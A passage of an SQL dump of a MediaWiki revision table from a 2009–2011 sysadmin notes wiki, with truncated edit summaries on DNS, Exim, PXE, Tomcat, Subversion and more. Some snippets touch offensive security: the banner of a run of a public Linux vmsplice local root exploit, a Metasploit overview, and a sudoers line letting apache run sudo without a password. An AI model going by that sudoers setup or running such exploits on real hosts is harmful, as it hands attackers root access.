up a DNS server in Suse 11 is quite easy. You can set it up in Yast, using either the full Yast Xwindows GUI or the curses based Yast in bash. Having such an easy DNS set up tool i...',1,'WikiAdmin','20090111010651',0,0,4285,0),(585,184,584,'',1,'WikiAdmin','20090111013055',0,0,4759,582),(583,185,582,'',1,'WikiAdmin','20090111011015',0,0,0,0),(584,186,583,'',1,'WikiAdmin','20090111011123',0,0,0,0),(588,187,587,'New page: == Daily Operation == The planet script runs from cron.daily (a symlink to it) /var/lib/planet/generate-planets
Its just a script that runs this: #!/bin/bash cd /var/li...',1,'WikiAdmin','20090116194852',0,0,800,0),(590,188,589,'New page: == Verifying Switch Settings == It is usually a good idea to verify the switch port configuration when trouble shooting speed / duplex issues. It is better to do this early in the process...',1,'WikiAdmin','20090127161521',0,0,1867,0),(591,189,590,'New page: == Workspace Assistant == The Workspace assistant integrates with Open Office and Microsoft Office to make sharing documents with O3Spaces easy. You install the assistant by logging in...',1,'WikiAdmin','20090128231116',0,0,1203,0),(592,189,591,'',1,'WikiAdmin','20090129012620',0,0,1940,591),(593,189,592,'/* Workspace Assistant */',1,'WikiAdmin','20090129021510',0,0,2748,592),(594,189,593,'/* Workspace Assistant */',1,'WikiAdmin','20090129021659',0,0,2821,593),(595,189,594,'/* Where to go */',1,'WikiAdmin','20090130203938',0,0,2813,594),(596,190,595,'New page: == Site Redirection == There are several ways to forward an entire site, or a single page to another site. Here are several methods you can use. \'\'\'.htaccess\'\'\' http://www.webweaver....',1,'WikiAdmin','20090206180943',0,0,979,0),(597,190,596,'/* Site Redirection */',1,'WikiAdmin','20090206181604',0,0,1639,596),(599,191,598,'New page: == Monitor Suspend Modes == To have your monitor go into suspend mode, try these: Verify your X Config (/etc/X11/xorg.conf perhaps) contains dpms options in the monitor sections, for e...',1,'WikiAdmin','20090211003843',0,0,690,0),(1078,191,1076,'/* Monitor Suspend Modes */',1,'WikiAdmin','20100728050321',0,0,797,599),(601,192,600,'New page: == PTR Records == These allow you to do a reverse DNS lookup. Given the IP address, you can determine a hostname. http://aplawrence.com/Blog/B961.html dig -x 66.118.149.130 To get in...',1,'WikiAdmin','20090211143729',0,0,434,0),(695,192,693,'',1,'WikiAdmin','20090715193903',0,0,2026,601),(1276,192,1274,'/* Tricks */',1,'WikiAdmin','20101212141756',0,0,2165,695),(602,193,601,'New page: == Outgoing Spam == \'\'\'Exim Logs with Full Paths\'\'\' Finding the source of outgoing spam can be a serious pain in the but. Recently I found this excellent article however that gave some v...',1,'WikiAdmin','20090211200817',0,0,3014,0),(664,193,662,'/* phpsuexec */',1,'WikiAdmin','20090605185813',0,0,3208,602),(708,193,706,'/* phpsuexec */',1,'WikiAdmin','20090811142055',0,0,4016,664),(709,193,707,'/* Outgoing Spam */',1,'WikiAdmin','20090811142302',0,0,4223,708),(710,193,708,'/* Outgoing Spam */',1,'WikiAdmin','20090811142631',0,0,4393,709),(603,194,602,'New page: == Disk Partitions == fdisk -l does not work in Solaris, so to collect information on partitions try these tools: #df -kh To show mounted file systems and #format (0,p,p) To display ...',1,'WikiAdmin','20090213012004',0,0,443,0),(604,194,603,'',1,'WikiAdmin','20090213134916',0,0,1711,603),(605,194,604,'/* Ext3 / NTFS Support */',1,'WikiAdmin','20090213135356',0,0,1711,604),(606,194,605,'',1,'WikiAdmin','20090215140032',0,0,3901,605),(732,194,730,'/* Ext3 / NTFS Support */',1,'WikiAdmin','20090902130300',0,0,4329,606),(788,194,786,'/* ZFS Tools */',1,'WikiAdmin','20091213165049',0,0,4610,732),(890,194,888,'/* ZFS Tools */',1,'WikiAdmin','20100310234152',0,0,5039,788),(891,194,889,'/* Environment Fixes */',1,'WikiAdmin','20100310234547',0,0,5166,890),(976,194,974,'/* Finding & Mounting Disk Partitions */',1,'WikiAdmin','20100604130135',0,0,5291,891),(977,194,975,'/* Package Management */',1,'WikiAdmin','20100604130258',0,0,5887,976),(609,195,608,'New page: == Cobbler PXE Environment == Cobbler is PXE install manager similar to the system we have been using here at Sago, however it includes additional features and greatly simplifies the mana...',1,'WikiAdmin','20090227172108',0,0,2973,0),(711,195,709,'',1,'WikiAdmin','20090812132251',0,0,8908,609),(712,195,710,'/* Command Line Tools */',1,'WikiAdmin','20090812134622',0,0,9184,711),(885,195,883,'/* Command Line Tools */',1,'WikiAdmin','20100307143451',0,0,9729,712),(886,195,884,'/* Useful Sites */',1,'WikiAdmin','20100307143512',0,0,10118,885),(887,195,885,'/* Command Line Tools */',1,'WikiAdmin','20100307180450',0,0,10510,886),(610,196,609,'New page: http://paparadit.blogspot.com/search/label/Acer%20Aspire%20One 0) Ethernet 1) Boot CD 2) Language Set up 4) Login jack / jack 4.5) Edit /etc/sshd.config - enable root login and X forward...',1,'WikiAdmin','20090307161726',0,0,565,0),(611,196,610,'',1,'WikiAdmin','20090307222902',0,0,4551,610),(612,196,611,'',1,'WikiAdmin','20090307223912',0,0,4609,611),(613,196,612,'',1,'WikiAdmin','20090309005354',0,0,5083,612),(614,196,613,'/* Wireless Drivers */',1,'WikiAdmin','20090309011832',0,0,7411,613),(615,196,614,'',1,'WikiAdmin','20090309013549',0,0,8846,614),(616,196,615,'',1,'WikiAdmin','20090309013724',0,0,8949,615),(618,196,617,'',1,'WikiAdmin','20090309232739',0,0,9723,616),(619,196,617,'[[Solaris Nevada 11.2008 Acer Aspire One Install]] moved to [[OpenSolaris Indiana 2008.11 Acer Aspire One Install]]',1,'WikiAdmin','20090309233401',1,0,NULL,618),(621,196,619,'',1,'WikiAdmin','20090309233601',0,0,9748,619),(622,196,620,'/* Attaching the Driver */',1,'WikiAdmin','20090309233717',0,0,9863,621),(617,197,616,'',1,'WikiAdmin','20090309230217',0,0,0,0),(620,198,618,'[[Solaris Nevada 11.2008 Acer Aspire One Install]] moved to [[OpenSolaris Indiana 2008.11 Acer Aspire One Install]]',1,'WikiAdmin','20090309233401',0,0,65,0),(624,199,622,'New page: http://forums.opensuse.org/archives/sf-archives/archives-programming-scripting/345519-cron-kdialog-cannot-connect-x-server-2.html sudo -u conan kdialog --display :0 --msgbox \"Howdy Cona...',1,'WikiAdmin','20090323173812',0,0,403,0),(625,200,623,'New page: Add to /etc/sudoers the commands you wish apache to run, for example: apache ALL=(ALL) NOPASSWD: /usr/bin/sudo, /usr/bin/pkill, /usr/sbin/dhcpd Also ensure there is no line containing: ...',1,'WikiAdmin','20090326150659',0,0,707,0),(627,201,625,'New page: http://crunchbang.org/wiki/vnstat-network-traffic-monitor/ http://www.sqweek.com/sqweek/index.php?p=1 http://www.timelordz.com/vnstat',1,'WikiAdmin','20090414173127',0,0,135,0),(628,202,626,'New page: == Nessus == http://www.nessus.org/documentation/nessus_3.2_advanced_user_guide.pdf OS Identification Nessus Plugins are described at: http://blog.tenablesecurity.com/2009/02/enhanced...',1,'WikiAdmin','20090416190218',0,0,451,0),(629,202,627,'/* nmap */',1,'WikiAdmin','20090416191050',0,0,508,628),(630,203,628,'New page: == Flush The Queue == Helpful Exim commands: #exim -bp #exim -q Shows messages in the queue and their delivery status To force delivery of all messages in the queue: #exim -q Or...',1,'WikiAdmin','20090417182522',0,0,417,0),(631,203,629,'/* Tracking Down Spam */',1,'WikiAdmin','20090417183343',0,0,924,630),(632,203,630,'/* Tracking Down Spam */',1,'WikiAdmin','20090417184215',0,0,1288,631),(633,203,631,'',1,'WikiAdmin','20090421180735',0,0,1369,632),(634,203,632,'/* Helpful Exim Links */',1,'WikiAdmin','20090421180816',0,0,1988,633),(635,204,633,'New page: Open Computers and Software Inventory Opensource GPL V2 software with *Nix and Windows inventory agents. Full web based management interface with advanced reporting capabilities. http:...',1,'WikiAdmin','20090423125557',0,0,302,0),(636,204,634,'',1,'WikiAdmin','20090423184756',0,0,1571,635),(637,204,635,'/* Installation Requirements */',1,'WikiAdmin','20090424123604',0,0,1772,636),(638,204,636,'',1,'WikiAdmin','20090424134928',0,0,3695,637),(639,204,637,'/* Agent (Client) Installation */',1,'WikiAdmin','20090424141356',0,0,3694,638),(640,204,638,'',1,'WikiAdmin','20090424141412',0,0,3693,639),(641,204,639,'/* Agent (Client) Installation */',1,'WikiAdmin','20090424143725',0,0,4089,640),(642,204,640,'',1,'WikiAdmin','20090424144004',0,0,4096,641),(643,204,641,'/* Server Installation Requirements */',1,'WikiAdmin','20090424221259',0,0,4172,642),(644,204,642,'/* Open Computer and Software Inventory */',1,'WikiAdmin','20090424221421',0,0,4300,643),(645,204,643,'/* Agent (Client) Installation */',1,'WikiAdmin','20090424223215',0,0,4756,644),(690,204,688,'/* OCS Web Management Server */',1,'WikiAdmin','20090630171352',0,0,5976,645),(691,204,689,'/* Agent (Client) Installation */',1,'WikiAdmin','20090701124158',0,0,9413,690),(805,204,803,'/* Server Installation Requirements */',1,'WikiAdmin','20100115204651',0,0,10195,691),(646,205,644,'New page: Here are some bash scripts I wrote to make life easier . . . #!/bin/bash # # This is used to set permissions on cpanel accounts correctly. This was from # ticket Ticket #162225 - s...',1,'WikiAdmin','20090427164401',0,0,1266,0),(647,205,645,'',1,'WikiAdmin','20090427164603',0,0,1288,646),(648,206,646,'New page: Add close buttons to tabs: kwriteconfig --file konquerorrc --group FMSettings --key PermanentCloseButton --type bool true http://wiki.kde.org/tiki-index.php?page=Hidden+configuration',1,'WikiAdmin','20090428135547',0,0,186,0),(657,207,655,'New page: http://it.slashdot.org/it/08/02/10/2011257.shtml
[novas@tardis ~]$ ./jessica_biel ----------------------------------- Linux vmsplice Local Root Exploit By qaaz -----------------...',1,'WikiAdmin','20090521151957',0,0,1241,0),(660,208,658,'New page: RCS is a light weight method to control revisions to files. Here is a tutorial: http://www.athabascau.ca/html/depts/compserv/webunit/HOWTO/rcs.htm HINT: symlink .rcs directories wher...',1,'WikiAdmin','20090522130254',0,0,302,0),(878,208,876,'',1,'WikiAdmin','20100301133233',0,0,364,660),(661,209,659,'New page: This is something I\'ve wondered about and finally decided to Google it and find out the \"How come Mr. Wizard?\" answer. It\'s pretty cool . . . Customer: I can\'t log in! (Or I can\'t FTP) H...',1,'WikiAdmin','20090603122236',0,0,1461,0),(662,209,660,'',1,'WikiAdmin','20090603122553',0,0,1537,661),(663,210,661,'New page: Good general info site on Syslog: http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch05_:_Troubleshooting_Linux_with_syslog',1,'WikiAdmin','20090605184901',0,0,140,0),(665,211,663,'New page: The clever Debian devs are trimming all non-free binary blobs from the new stable kernel tree. Which means that the NICs in our 1950s are no longer supported by default and you have to ad...',1,'WikiAdmin','20090605190313',0,0,1885,0),(676,211,674,'',1,'WikiAdmin','20090622170733',0,0,2272,665),(677,211,675,'',1,'WikiAdmin','20090622170754',0,0,2273,676),(678,211,676,'',1,'WikiAdmin','20090622175854',0,0,2420,677),(666,212,664,'New page: == Testing MS SQL Connectivity == Testing a connection to a remote MS SQL server can be a little bit of a pain, especially when you are used to the simplicity of doing so with mysql. Here...',1,'WikiAdmin','20090605195849',0,0,2246,0),(667,213,665,'New page: == Tomcat is not your Mama\'s Apache == Tomcat is a very different beast to install compared to the simplicity of Apache. Installing it under CentOS 5 is quite a bit simpler than it was in...',1,'WikiAdmin','20090608151811',0,0,3512,0),(668,213,666,'/* Sites and Guides */',1,'WikiAdmin','20090608191737',0,0,3594,667),(669,213,667,'',1,'WikiAdmin','20090609005751',0,0,8016,668),(670,213,668,'/* Deploy an Application */',1,'WikiAdmin','20090609031702',0,0,8486,669),(1222,213,1220,'/* Wed Admin */',1,'WikiAdmin','20101104143407',0,0,8542,670),(1223,213,1221,'/* Tomcat is not your Mama\'s Apache */',1,'WikiAdmin','20101104143439',0,0,8723,1222),(671,214,669,'New page: == How long did a user run a process? == http://www.linuxjournal.com/article/6144 http://tldp.org/HOWTO/Process-Accounting/index.html http://www.comptechdoc.org/os/linux/usersguide/lin...',1,'WikiAdmin','20090618025917',0,0,1951,0),(674,214,672,'',1,'WikiAdmin','20090621165304',0,0,2919,671),(675,214,673,'',1,'WikiAdmin','20090621165547',0,0,3306,674),(673,215,671,'New page: The Evans Group Orlando, FL Workplace consists of a village, with private cottages for offices Patagonia Ventura, CA Extreme flex time for surfing, climbing, etc. Wonderworks Uber creat...',1,'WikiAdmin','20090620205608',0,0,287,0),(679,216,677,'New page: Here is a good article on securing SSH, including configuring the hosts.deny and hosts.allow files http://fedorasolved.org/post-install-solutions/securing-ssh',1,'WikiAdmin','20090623144057',0,0,160,0),(680,216,678,'',1,'WikiAdmin','20090623144225',0,0,218,679),(683,217,681,'New page: Hi guys, Here is a list of stuff to bring and things to consider for our immanent trip to Toorcamp 2009. There are three lists: Personal stuff to bring, group stuff and food. The group st...',1,'WikiAdmin','20090629174606',0,0,2912,0),(684,217,682,'/* Personal Stuff */',4,'Kyle','20090629175607',0,0,2995,683),(685,217,683,'/* Food */',4,'Kyle','20090629190853',0,0,3089,684),(686,217,684,'',4,'Kyle','20090629190952',0,0,3019,685),(687,218,685,'New page: Here is a simple script you can use to test if Mod_ReWrite is working correctly on a server. This script comes from a tutorial I found [http://www.wallpaperama.com/forums/how-to-test-check...',1,'WikiAdmin','20090630124823',0,0,3026,0),(688,218,686,'',1,'WikiAdmin','20090630125217',0,0,3337,687),(689,218,687,'',1,'WikiAdmin','20090630125256',0,0,3339,688),(694,219,692,'New page: Using a mailto: function in HTML for a mail form is very bad form. PHP is the better way to go as you can do full input validation, etc. You can of course just use an HTML based email for...',1,'WikiAdmin','20090715165829',0,0,1098,0),(696,220,694,'New page: The Metasploit 3 framework has some pretty serious features, allowing you to easily launch attacks against a target host by customising an exploit and payload to deliver. It is a very powe...',1,'WikiAdmin','20090722235427',0,0,3767,0),(697,221,695,'New page: \'\'\'Cisco VPN Client Install\'\'\' Ensure you have your VPN access enabled (contact Dan P.) You can get the VPN client (and Sago .pcf config) file for Windows and Linux from: http://www.tim...',1,'WikiAdmin','20090805134455',0,0,919,0),(698,221,696,'',1,'WikiAdmin','20090805172940',0,0,1842,697),(728,221,726,'',1,'WikiAdmin','20090823012131',0,0,2494,698),(777,221,775,'',1,'WikiAdmin','20091113230553',0,0,4171,728),(699,222,697,'New page: So you don\'t have to always figure out where the config files are for common apps: \'\'\'Bamboo\'\'\' bamboo_system_files/application/config/database.php \'\'\'Gallery\'\'\' /www/gallery2Timelord...',1,'WikiAdmin','20090805203920',0,0,387,0),(700,222,698,'',1,'WikiAdmin','20090805215021',0,0,455,699),(701,222,699,'',1,'WikiAdmin','20090805215156',0,0,586,700),(727,222,725,'',1,'WikiAdmin','20090822014516',0,0,1316,701),(781,222,779,'',1,'WikiAdmin','20091120150834',0,0,1366,727),(1199,222,1197,'',1,'WikiAdmin','20101030211546',0,0,1367,781),(705,223,703,'New page: == Bash == \'\'\'egrep\'\'\' egrep supports extended regex. For example, use a pipe for either/or searches: #grep \'user|root\' /etc/passwd You can pattern match any number of occurences of ...',1,'WikiAdmin','20090808181801',0,0,680,0),(707,224,705,'New page: == sg3_utils == (sg - SCSI generic) Using sg3_utils you are able to send identify SCSI devices, send commands to them and view their internal logs, etc. [http://tldp.org/HOWTO/SCSI-Gen...',1,'WikiAdmin','20090810231859',0,0,2523,0),(713,225,711,'New page: Various notes and tricks on using Sun Studio and the Sun C compiler. To turn on verbose output with cc use -# to do the same with CC use -V If you are getting an error such as: cc: ...',1,'WikiAdmin','20090814020956',0,0,1026,0),(715,225,713,'/* ICC Notes */',1,'WikiAdmin','20090814023010',0,0,1109,713),(716,225,714,'',1,'WikiAdmin','20090816154944',0,0,1473,715),(714,226,712,'New page: Can\'t wait to try this out! http://www.linuxjournal.com/article/10268 http://prefetch.net/blog/index.php/2006/09/23/running-linux-applications-in-solaris-linux-branded-zones/',1,'WikiAdmin','20090814021047',0,0,177,0),(724,227,722,'New page: == Logwatch == You can enable logwatch and set MailTo = root in logwatch.conf. Then set up a .forward for root next. Default cpanel configs are at /usr/share/logwatch/default.conf/logwatc...',1,'WikiAdmin','20090821131014',0,0,1442,0),(725,227,723,'/* Backups */',1,'WikiAdmin','20090821132315',0,0,2064,724),(726,227,724,'/* Backups */',1,'WikiAdmin','20090821143003',0,0,2198,725),(729,228,727,'New page: == General Ext3 FAQ == A good detailed FAQ, including detailed info, can be found [http://batleth.sapienti-sat.org/projects/FAQs/ext3-faq.html here] == Ext3 Journaling Options and Write...',1,'WikiAdmin','20090828094636',0,0,1714,0),(730,229,728,'New page: == Configuring Apache and PHP on Suse Linux == There are some slight differences on configuring PHP and Apache on Suse. Firstly of course you need to have installed the proper packages. ...',1,'WikiAdmin','20090829144434',0,0,1283,0),(731,230,729,'New page: == Eclipse IDE == == Getting PHP Run As Functioning == Good General Eclipse Config guide http://www.tigerheron.com/article/2008/01/eclipse-and-php http://www.102degrees.com/blog/20...',1,'WikiAdmin','20090829144934',0,0,720,0),(742,230,740,'/* Getting PHP Run As Functioning */',1,'WikiAdmin','20090916112158',0,0,839,731),(760,230,758,'/* Getting PHP Run As Functioning */',1,'WikiAdmin','20091012233603',0,0,1086,742),(942,230,940,'/* Eclipse IDE */',1,'WikiAdmin','20100413202019',0,0,1206,760),(952,230,950,'/* Eclipse IDE */',1,'WikiAdmin','20100420141029',0,0,1312,942),(1138,230,1136,'/* Eclipse IDE */',1,'WikiAdmin','20100928212751',0,0,1380,952),(1139,230,1137,'/* Getting PHP Run As Functioning */',1,'WikiAdmin','20100929143019',0,0,1466,1138),(733,231,731,'New page: Here is a good summarized [http://www.abbeyworkshop.com/howto/misc/svn01/ cheat sheet] \'\'\'Here are some setup guides:\'\'\' http://subversion.tigris.org/faq.html http://wiki.centos.org/Ho...',1,'WikiAdmin','20090902184826',0,0,761,0),(734,231,732,'',1,'WikiAdmin','20090902185339',0,0,1971,733),(735,231,733,'',1,'WikiAdmin','20090902190044',0,0,2033,734),(736,231,734,'/* Version Control Commands */',1,'WikiAdmin','20090903122225',0,0,2368,735),(738,231,736,'',1,'WikiAdmin','20090903142000',0,0,2824,736),(741,231,739,'/* Subversion and Web Site Security */',1,'WikiAdmin','20090915133247',0,0,3057,738),(754,231,752,'/* Version Control Commands */',1,'WikiAdmin','20090924140458',0,0,3568,741),(755,231,753,'',1,'WikiAdmin','20090924140622',0,0,3659,754),(935,231,933,'',1,'WikiAdmin','20100408230110',0,0,3838,755),(936,231,934,'',1,'WikiAdmin','20100409034324',0,0,4528,935),(937,231,935,'',1,'WikiAdmin','20100409040021',0,0,4794,936),(940,231,938,'',1,'WikiAdmin','20100411121201',0,0,4932,937),(941,231,939,'',1,'WikiAdmin','20100411124401',0,0,5194,940),(1089,231,1087,'',1,'WikiAdmin','20100806162735',0,0,5961,941),(1105,231,1103,'',1,'WikiAdmin','20100809141706',0,0,6163,1089),(1117,231,1115,'',1,'WikiAdmin','20100823152536',0,0,6297,1105),(1189,231,1187,'',1,'WikiAdmin','20101026124226',0,0,6382,1117),(1190,231,1188,'',1,'WikiAdmin','20101026192257',0,0,6913,1189),(1236,231,1234,'/* Moving Repos */',1,'WikiAdmin','20101109174140',0,0,7062,1190),(737,232,735,'New page: Checking SSL Certificate expiration in the command line with openssl is [http://www.brandonhutchinson.com/When_does_my_certificate_expire%3F.html here].',1,'WikiAdmin','20090903123443',0,0,153,0),(879,232,877,'',1,'WikiAdmin','20100301133601',0,0,478,737),(880,232,878,'',1,'WikiAdmin','20100301134308',0,0,711,879),(883,232,881,'',1,'WikiAdmin','20100303193817',0,0,1102,880),(953,232,951,'',1,'WikiAdmin','20100427162846',0,0,1184,883),(1000,232,998,'',1,'WikiAdmin','20100622133806',0,0,2477,953),(1176,232,1174,'',1,'WikiAdmin','20101014191554',0,0,2567,1000),(739,233,737,'New page: == Methods to Reference Partitions == There are three methods of specifying device names in fstab. Each has some benefits are draw backs. Logical Block Device Names: /dev/sda1 UUID: 768...',1,'WikiAdmin','20090909122807',0,0,2169,0),(740,233,738,'/* Methods to Reference Partitions */',1,'WikiAdmin','20090909124023',0,0,2841,739),(743,234,741,'New page: == Intro == The Luster administration manual is 500 pages, and while filled with great info and very complete it is a bit daunting to do a quick set up. Following these steps you should...',1,'WikiAdmin','20090918180252',0,0,2115,0),(744,234,742,'/* Ubuntu Client */',1,'WikiAdmin','20090918190503',0,0,2790,743),(745,234,743,'/* Intro */',1,'WikiAdmin','20090918190721',0,0,3048,744),(746,234,744,'/* Setting up a Lustre Cluster */',1,'WikiAdmin','20090918193200',0,0,4472,745),(747,234,745,'/* Managing Lustre */',1,'WikiAdmin','20090918193349',0,0,4616,746),(748,234,746,'/* Intro */',1,'WikiAdmin','20090918195236',0,0,4875,747),(749,234,747,'/* Setting up a Lustre Cluster */',1,'WikiAdmin','20090918195740',0,0,5129,748),(750,234,748,'/* Compiling Patchless Client from Source (Red Hat */',1,'WikiAdmin','20090918195944',0,0,5129,749),(751,234,749,'/* Setting up a Lustre Cluster */',1,'WikiAdmin','20090918203307',0,0,5315,750),(752,234,750,'/* Setting up a Lustre Cluster */',1,'WikiAdmin','20090918203354',0,0,5339,751),(753,234,751,'/* Monitoring File System Useage */',1,'WikiAdmin','20090919015101',0,0,5373,752),(759,235,757,'New page: == Piranha GUI == You can view the load balancer status by logging into Piranha. However, to restart named, or fail over the HA service you must do so via SSH or at the console. Piranha ...',1,'WikiAdmin','20091012183951',0,0,2943,0),(761,236,759,'New page: == Reading Memory Addresses == For security reasons, it is not possible to directly read memory addresses. http://www.gidforums.com/t-5159.html?highlight=memory+access Here is a good a...',1,'WikiAdmin','20091025205404',0,0,2118,0),(763,236,761,'',1,'WikiAdmin','20091026145227',0,0,2492,761),(764,236,762,'',1,'WikiAdmin','20091026151406',0,0,3357,763),(768,236,766,'/* Reading Memory Addresses */',1,'WikiAdmin','20091031151812',0,0,3762,764),(769,236,767,'',1,'WikiAdmin','20091102234323',0,0,5319,768),(770,236,768,'/* Conditional Operators */',1,'WikiAdmin','20091102234621',0,0,5406,769),(772,236,770,'/* Common Mistakes */',1,'WikiAdmin','20091107163229',0,0,5710,770),(773,236,771,'/* Memory Management */',1,'WikiAdmin','20091107164924',0,0,6475,772),(774,236,772,'/* Memory Management */',1,'WikiAdmin','20091107180747',0,0,6806,773),(796,236,794,'/* Debugging: gdb */',1,'WikiAdmin','20100111000341',0,0,6947,774),(899,236,897,'/* Floating Points and IEE 754 */',1,'WikiAdmin','20100315222242',0,0,7404,796),(915,236,913,'/* Books Books Books */',1,'WikiAdmin','20100325133105',0,0,7678,899),(917,236,915,'/* Books Books Books */',1,'WikiAdmin','20100325163602',0,0,7852,915),(1344,236,1342,'/* Books Books Books */',1,'WikiAdmin','20110103163658',0,0,7952,917),(762,237,760,'New page: Ellwood \"Bunky\" Bartlett in 2007 won the lottery and stated he wanted to open a Wiccan seminary which would offer a variety of classes in both occultism and vocational training. The name...',1,'WikiAdmin','20091026125930',0,0,468,0),(765,238,763,'New page: xrandr --auto --output default --rotate left --mode 1050x1680',1,'WikiAdmin','20091029015555',0,0,63,0),(767,238,765,'',1,'WikiAdmin','20091029021643',0,0,295,765),(766,239,764,'New page: \'\'\'Ultimate Edition:\'\'\' See the Ultima Readme.txt, readme.txt,PatchReadme.txt, and Unofficial Arcanum Patch.txt files for info. Ultimate edition includes the no CD patch, the last offici...',1,'WikiAdmin','20091029021539',0,0,1748,0),(969,239,967,'',1,'WikiAdmin','20100521222614',0,0,2364,766),(776,240,774,'New page: Still waiting for my Moller Sky Car. . . \'\'\'Medical Examiner\'\'\' http://flightphysical.com/addmap2.cgi?12171 Frederick W Campbell, JR MD 3000 E. FLETCHER AVE STE 120 TAMPA, FLORIDA 3...',1,'WikiAdmin','20091111235055',0,0,243,0),(778,241,776,'New page: Sometimes getting fancy multimedia keyboards to work under Linux can be a bit tricky. Basic functionality is usually not the issue, but getting all the media and function keys to work is s...',1,'WikiAdmin','20091117023855',0,0,1579,0),(780,241,778,'',1,'WikiAdmin','20091118223254',0,0,1943,778),(784,241,782,'',1,'WikiAdmin','20091121215704',0,0,2357,780),(779,242,777,'New page: Pascal\'s Triangle is pretty nifty. A simple number sequence, arranged in a triangle and from which are derived many curious things. Within the rows you find the sequence of integers, the...',1,'WikiAdmin','20091118150657',0,0,694,0),(782,243,780,'New page: \'\'\'Converting VMWare Images\'\'\' There are several ways to convert between VMWare and Virtualbox format images. This article lists gives two, with a few more given in the comments as well:...',1,'WikiAdmin','20091121163046',0,0,561,0),(783,243,781,'',1,'WikiAdmin','20091121165628',0,0,663,782),(934,243,932,'',1,'WikiAdmin','20100407221619',0,0,1003,783),(1266,243,1264,'',1,'WikiAdmin','20101207013325',0,0,2363,934),(1376,243,1374,'',1,'WikiAdmin','20110117165637',0,0,2759,1266),(1377,243,1375,'',1,'WikiAdmin','20110117194244',0,0,3494,1376),(785,244,783,'New page: Official Samsung [http://www.samsung.com/us/support/detail/supportPrdDetail.do?menu=SP01&prd_ia_cd=02010100&prd_mdl_cd=LN46B640R3FUZA&prd_mdl_name=LN46B640R3F spec site] Official Samsun...',1,'WikiAdmin','20091129204757',0,0,533,0),(786,244,784,'',1,'WikiAdmin','20091129205132',0,0,697,785),(787,245,785,'New page: == Arduino: Microcontroller Programming for Anyone== The official Arduino site is [http://arduino.cc/en here] For a very first project, you might want to try this from [http://www.hac...',1,'WikiAdmin','20091202205126',0,0,346,0),(910,245,908,'',1,'WikiAdmin','20100325122816',0,0,536,787),(911,245,909,'',1,'WikiAdmin','20100325131721',0,0,562,910),(920,245,918,'',1,'WikiAdmin','20100328231728',0,0,1219,911),(921,245,919,'/* Arduino: Microcontroller Programming for Anyone */',1,'WikiAdmin','20100328232357',0,0,1483,920),(924,245,922,'/* Arduino: Microcontroller Programming for Anyone */',1,'WikiAdmin','20100402054754',0,0,2155,921),(932,245,930,'',1,'WikiAdmin','20100406113639',0,0,2403,924),(933,245,931,'',1,'WikiAdmin','20100406115141',0,0,2951,932),(938,245,936,'',1,'WikiAdmin','20100409203846',0,0,3076,933),(956,245,954,'',1,'WikiAdmin','20100510122637',0,0,3195,938),(1188,245,1186,'',1,'WikiAdmin','20101020232602',0,0,3468,956),(1197,245,1195,'',1,'WikiAdmin','20101030144335',0,0,3623,1188),(789,246,787,'New page: ethtool allows for various characteristics of the network interface to be modified. It is also capable of providing a high degree of information about the interface, and in some cases can ...',1,'WikiAdmin','20100101190352',0,0,1052,0),(795,247,793,'New page: There are a number of different graphical front ends for gdb. Here are some links for some of the most popular: == Graphical Debugging Tools == \'\'\'Curses mode for gdb:\'\'\' http://stacko...',1,'WikiAdmin','20100111000208',0,0,1537,0),(797,247,795,'/* Graphical Debugging Tools */',1,'WikiAdmin','20100111000603',0,0,1633,795),(800,248,798,'New page: [[image:Scroll.jpg|right]] \'\'\'\'\'Scientia Perscribo Posteri\'\'\'\'\'
\'\'Knowledge written for those\'\' who follow, or \'\'YTMND\'\'. Here are notes of various ...',1,'WikiAdmin','20100115203820',0,0,15335,0),(801,249,799,'New page: For a general outline of how PXE and the install network works, see [[PXE_Explanation PXE Explanation]]. More info on Cobbler can be found [[Cobbler_PXE_Install_Manager here]] == Design O...',1,'WikiAdmin','20100115203912',0,0,2449,0),(806,249,804,'',1,'WikiAdmin','20100115204804',0,0,2428,801),(802,250,800,'New page: == PXE Documentation == Also see [[Cobbler_PXE_Install_Manager]] and [[Install_Network_Servers]] which describes the specific functions each server performs. NOTE: Do ...',1,'WikiAdmin','20100115204048',0,0,6785,0),(803,251,801,'New page: == Sago Recovery Environment == This is based on RIP 8.2 and simply included the customers /etc/shadow. It places a kernel and customized initrd in /boot and adds an entry to grub. This ...',1,'WikiAdmin','20100115204216',0,0,1326,0),(804,252,802,'New page: == Testing IDE/SATA HDs using SMART: == Further information on smartctl and interpretation of SMART data can be found at [[SMART Drive Monitoring]] More information on how the results fr...',1,'WikiAdmin','20100115204427',0,0,2347,0),(1040,252,1038,'',1,'WikiAdmin','20100713202544',0,0,3012,804),(807,253,805,'New page: (Ticket #207518 - need advanced server is an example of a cluster request. This article is written to broadly address providing cluster solutions, and the above is merely an example.) Whe...',1,'WikiAdmin','20100120142712',0,0,3750,0),(808,253,806,'',1,'WikiAdmin','20100120142754',0,0,3776,807),(809,254,807,'New page: Below are the steps to creating a Container. The order below is what has worked best for me: \'\'\'1. Create the Device\'\'\' (this will be referenced during the container installation) Per...',1,'WikiAdmin','20100120153326',0,0,2943,0),(810,254,808,'',1,'WikiAdmin','20100120153415',0,0,2797,809),(811,255,809,'New page: Samsung serial cable: dCables 1198 Commerce Drive Richardson, TX 75081 dcables.net Item DCR003G Gold plated 3.5mm stero plug to db9 female W/ ferrite beads for $9.99
Uber ...',1,'WikiAdmin','20100120231320',0,0,325,0),(813,256,811,'New page: To add a floating clock in your screen session, just add this line to /etc/screenrc caption always \"%{+b wk}%-21=%D %d.%m.%Y %0c\"',1,'WikiAdmin','20100128030736',0,0,131,0),(1342,256,1340,'',1,'WikiAdmin','20110103162911',0,0,708,813),(1343,256,1341,'',1,'WikiAdmin','20110103163003',0,0,730,1342),(1365,256,1363,'',1,'WikiAdmin','20110112175148',0,0,835,1343),(814,257,812,'New page: Need to install a pdf print driver in Linux so you can print to a pdf file instead of a local printer? Do you have a pdf form you filled out, but it won\'t let you save it? Install the cu...',1,'WikiAdmin','20100128033516',0,0,2448,0),(815,257,813,'',1,'WikiAdmin','20100128033717',0,0,2669,814),(1373,257,1371,'',1,'WikiAdmin','20110115155741',0,0,2713,815),(1374,257,1372,'',1,'WikiAdmin','20110115164823',0,0,3213,1373),(817,258,815,'New page: New Wacom bamboo pen + touch support (model 460), patching the Linux wacom drivers: http://ubuntuforums.org/showpost.php?p=8262965&postcount=541 http://ubuntuforums.org/showthread.php?t...',1,'WikiAdmin','20100131013549',0,0,8826,0),(818,259,816,'New page: == Syd == 